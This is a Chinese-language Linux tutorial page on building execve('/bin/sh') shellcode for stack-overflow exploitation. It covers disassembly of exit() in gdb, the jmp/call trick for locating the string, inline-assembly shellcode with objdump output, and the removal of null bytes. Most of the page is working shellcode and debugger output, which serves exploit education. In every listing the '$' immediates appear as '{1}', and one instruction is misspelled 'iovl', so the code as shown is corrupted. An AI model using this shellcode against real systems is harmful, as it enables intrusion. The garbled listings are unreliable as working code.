歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> SHELL編程

進一步完善shellcode的提取

基本shellcode提取方法:http://www.linuxidc.com/Linux/2011-10/44764.htm

接下來,我們將在上文的基礎上,進一步完善shellcode的提取。

前面關於main和execve的分析,同“基本shellcode提取方法”中相應部分的講解。

如果execve()調用失敗的話,程序將會繼續從堆棧中獲取指令並執行,而此時堆棧中的數據時隨機的,通常這個程序會core dump。如果我們希望在execve()調用失敗時,程序仍然能夠正常退出,那麼我們就必須在execve()調用之後增加一個exit系統調用。它的C語言程序如下:

  1.  root@linux:~/pentest# cat shellcode_exit.c  
  2. #include <stdio.h>   
  3. #include <stdlib.h>   
  4.   
  5. int main(int argc, char **argv) {  
  6.     exit(0);  
  7. }  
  8. root@linux:~/pentest# gdb shellcode_exit  
  9. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  10. Copyright (C) 2010 Free Software Foundation, Inc.  
  11. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  12. This is free software: you are free to change and redistribute it.  
  13. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  14. and "show warranty" for details.  
  15. This GDB was configured as "i686-linux-gnu".  
  16. For bug reporting instructions, please see:  
  17. <http://www.gnu.org/software/gdb/bugs/>...   
  18. Reading symbols from /root/pentest/shellcode_exit...done.  
  19. (gdb) disass exit  
  20. Dump of assembler code for function exit@plt:  
  21.    0x080482f0 <+0>:    jmp    *0x804a008  
  22.    0x080482f6 <+6>:    push   {1}x10  
  23.    0x080482fb <+11>:    jmp    0x80482c0  
  24. End of assembler dump.  
  25. (gdb)  

通過gdb反匯編可以看到現在的gcc編譯器向我們隱藏了exit系統調用的實現細節。但是,通過翻閱以前版本gdb反匯編信息,仍然可以得到exit系統調用的實現細節。 

  1. [scz@ /home/scz/src]> gdb shellcode_exit  
  2. GNU gdb 4.17.0.11 with Linux support  
  3. This GDB was configured as "i386-RedHat-linux"...  
  4. (gdb) disas _exit   
  5. Dump of assembler code for function _exit:  
  6. 0x804b970 <_exit>:      movl   %ebx,%edx  
  7. 0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx  
  8. 0x804b976 <_exit+6>:    movl   {1}x1,%eax  
  9. 0x804b97b <_exit+11>:   int    {1}x80  
  10. 0x804b97d <_exit+13>:   movl   %edx,%ebx  
  11. 0x804b97f <_exit+15>:   cmpl   {1}xfffff001,%eax  
  12. 0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>  
  13. End of assembler dump.  

我們可以看到,exit系統調用將0x1放入到eax中(它是syscall的索引值),同時將退出碼放入到ebx中(大部分程序正常退出時的返回值是0),然後執行“int 0x80”系統調用。

其實,到目前為止,我們要構造shellcode,但是我們並不知道我們要放置的字符串在內存中的確切位置。在3.1節中,我們采用將字符串壓棧的方式獲得字符串起始地址。在這一節中,我們將給出一種確定字符串起始地址的設計方案。該方案采用的是jmp和call指令。由於jmp和call指令都可以采用eip相對尋址,也就是說,我們可以從當前運行的地址跳到一個偏移地址處執行,而不必知道這個地址的確切地址值。如果我們將call指令放在“/bin/bash”字符串前,然後jmp到call指令的位置,那麼當call指令被執行時,它會首先將下一個要執行的指令的地址(也就是字符串的起始地址)壓入堆棧。這樣就可以獲得字符串的起始地址。然後我們可以讓call指令調用我們的shellcode的第一條指令,然後將返回地址(字符串起始地址)從堆棧中彈出到某個寄存器中。

我們要構造的shellcode的執行流程如下圖所示:

Shellcode執行流程解析:

RET覆蓋返回地址eip之後,子函數返回時將跳轉到我們的shellcode的起始地址處執行。由於shellcode起始地址處是一條jmp指令,它直接跳到了我們的call指令處執行。call指令先將返回地址(“/bin/bash”字符串地址)壓棧之後,跳轉到jmp指令下一地址處指令繼續執行。這樣就可以獲取到字符串的地址。

即:

  1.  Beginning_of_shellcode:  
  2. jmp subroutine_call  
  3. subroutine:  
  4. popl %esi  
  5. ……  
  6. (shellcode itself)  
  7. ……  
  8. subroutine_call:  
  9. call subroutine  
  10. /bin/sh  

下面,我們用C語言內嵌匯編的方式,構造shellcode。

  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         movl {1}x0,0xc(%esi);    \  
  13.         movb {1}x0,0x7(%esi);    \  
  14.         movl {1}xb,%eax;       \  
  15.         movl %esi,%ebx;        \  
  16.         leal 0x8(%esi),%ecx;    \  
  17.         leal 0xc(%esi),%edx;    \  
  18.         int {1}x80;        \  
  19.         movl {1}x0,%ebx;        \  
  20.         movl {1}x1,%eax;        \  
  21.         int {1}x80;        \  
  22.     subroutine_call:        \  
  23.         call subroutine;    \  
  24.         .string \"/bin/sh\";    \  
  25.      ");  
  26.   
  27.     return 0;  
  28. }  
  29.   
  30. root@linux:~/pentest# objdump -d shellcode_asm  
  31.   
  32. 08048394 <main>:  
  33.  8048394:    55                       push   %ebp  
  34.  8048395:    89 e5                    mov    %esp,%ebp  
  35.  8048397:    eb 2a                    jmp    80483c3 <subroutine_call>  
  36.   
  37. 08048399 <subroutine>:  
  38.  8048399:    5e                           pop    %esi  
  39.  804839a:    89 76 08                   mov    %esi,0x8(%esi)  
  40.  804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)  
  41.  80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)  
  42.  80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax  
  43.  80483ad:    89 f3                       mov    %esi,%ebx  
  44.  80483af:    8d 4e 08                   lea    0x8(%esi),%ecx  
  45.  80483b2:    8d 56 0c                   lea    0xc(%esi),%edx  
  46.  80483b5:    cd 80                       int    {1}x80  
  47.  80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx  
  48.  80483bc:    b8 01 00 00 00           mov    {1}x1,%eax  
  49.  80483c1:    cd 80                       int    {1}x80  
  50.   
  51. 080483c3 <subroutine_call>:  
  52.  80483c3:    e8 d1 ff ff ff           call   8048399 <subroutine>  
  53.  80483c8:    2f                         das      
  54.  80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  55.  80483cc:    2f                         das      
  56.  80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>  
  57.  80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  58.  80483d5:   5d                         pop    %ebp  
  59.  80483d6:    c3                       ret      
  60.  80483d7:    90                       nop  
  61.  80483d8:    90                       nop  
  62.  80483d9:    90                       nop  
  63.  80483da:    90                       nop  
  64.  80483db:    90                       nop  
  65.  80483dc:    90                       nop  
  66.  80483dd:    90                       nop  
  67.  80483de:    90                       nop  
  68.  80483df:    90                       nop  

替換掉shellcode中含有的Null字節的指令:

含有Null字節的指令

替代指令

movl $0x0,0xc(%esi)

movb $0x0,0x7(%esi)

xorl %eax,%eax

movl %eax,0xc(%esi)

movb %al,0x7(%esi)

movl $0xb,%eax

xorl %eax,%eax

movb $0xb,%al

movl $0x1,%eax

movl $0x0,%ebx

xorl %ebx,%ebx

iovl %ebx,%eax

inc %eax

修改後的代碼和反匯編結果如下:

  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         xorl %eax,%eax;        \  
  13.         movl %eax,0xc(%esi);    \  
  14.         movb %al,0x7(%esi);    \  
  15.        movb {1}xb,%al;        \  
  16.         movl %esi,%ebx;        \  
  17.         leal 0x8(%esi),%ecx;    \  
  18.         leal 0xc(%esi),%edx;    \  
  19.         int {1}x80;        \  
  20.         xorl %ebx,%ebx;        \  
  21.         movl %ebx,%eax;        \  
  22.         inc %eax;        \  
  23.         int {1}x80;        \  
  24.     subroutine_call:        \  
  25.         call subroutine;   \  
  26.         .string \"/bin/sh\";    \  
  27.      ");  
  28.   
  29.     return 0;  
  30. }  
  31. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  32. root@linux:~/pentest# objdump -d shellcode_asm  
  33. 08048394 <main>:  
  34.  8048394:    55                       push   %ebp  
  35.  8048395:    89 e5                    mov    %esp,%ebp  
  36.  8048397:    eb 1f                    jmp    80483b8 <subroutine_call>  
  37.   
  38. 08048399 <subroutine>:  
  39.  8048399:    5e                       pop    %esi  
  40.  804839a:    89 76 08                 mov    %esi,0x8(%esi)  
  41.  804839d:    31 c0                    xor    %eax,%eax  
  42.  804839f:    89 46 0c                 mov    %eax,0xc(%esi)  
  43.  80483a2:    88 46 07                 mov    %al,0x7(%esi)  
  44.  80483a5:    b0 0b                    mov    {1}xb,%al  
  45.  80483a7:    89 f3                   mov    %esi,%ebx  
  46.  80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx  
  47.  80483ac:    8d 56 0c                 lea    0xc(%esi),%edx  
  48.  80483af:    cd 80                    int    {1}x80  
  49.  80483b1:    31 db                    xor    %ebx,%ebx  
  50.  80483b3:    89 d8                    mov   %ebx,%eax  
  51.  80483b5:    40                       inc    %eax  
  52.  80483b6:    cd 80                    int    {1}x80  
  53.   
  54. 080483b8 <subroutine_call>:  
  55.  80483b8:    e8 dc ff ff ff           call   8048399 <subroutine>  
  56.  80483bd:    2f                       das      
  57.  80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  58.  80483c1:   2f                       das      
  59.  80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>  
  60.  80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  61.  80483ca:    5d                       pop    %ebp  
  62.  80483cb:    c3                       ret      
  63.  80483cc:   90                       nop  
  64.  80483cd:    90                       nop  
  65.  80483ce:    90                       nop  
  66.  80483cf:    90                       nop  
  67. root@linux:~/pentest# gdb shellcode_asm  
  68. (gdb) b main  
  69. Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.  
  70. (gdb) r  
  71. Starting program: /root/pentest/shellcode_asm   
  72.   
  73. Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5  
  74. 5       __asm__  
  75. (gdb) disass main  
  76. Dump of assembler code for function main:  
  77.    0x08048394 <+0>:    push   %ebp  
  78.    0x08048395 <+1>:    mov    %esp,%ebp  
  79. => 0x08048397 <+3>:    jmp    0x80483b8 <subroutine_call>  
  80.    0x08048399 <+5>:    pop    %esi  
  81.    0x0804839a <+6>:    mov    %esi,0x8(%esi)  
  82.    0x0804839d <+9>:    xor    %eax,%eax  
  83.    0x0804839f <+11>:    mov    %eax,0xc(%esi)  
  84.    0x080483a2 <+14>:    mov    %al,0x7(%esi)  
  85.    0x080483a5 <+17>:    mov    {1}xb,%al  
  86.    0x080483a7 <+19>:   mov    %esi,%ebx  
  87.    0x080483a9 <+21>:    lea    0x8(%esi),%ecx  
  88.    0x080483ac <+24>:    lea    0xc(%esi),%edx  
  89.    0x080483af <+27>:    int    {1}x80  
  90.    0x080483b1 <+29>:    xor    %ebx,%ebx  
  91.    0x080483b3 <+31>:    mov    %ebx,%eax  
  92.    0x080483b5 <+33>:    inc    %eax  
  93.    0x080483b6 <+34>:    int    {1}x80  
  94.    0x080483b8 <+0>:    call   0x8048399 <main+5>  
  95.    0x080483bd <+5>:    das      
  96.    0x080483be <+6>:    bound  %ebp,0x6e(%ecx)  
  97.    0x080483c1 <+9>:    das      
  98.    0x080483c2 <+10>:    jae    0x804842c  
  99.    0x080483c4 <+12>:    add    %bh,0x0(%eax)  
  100.    0x080483ca <+18>:    pop    %ebp  
  101.    0x080483cb <+19>:    ret      
  102. End of assembler dump.  
  103. (gdb) x/s 0x080483bd  
  104. 0x80483bd <subroutine_call+5>:     "/bin/sh"  

Copyright © Linux教程網 All Rights Reserved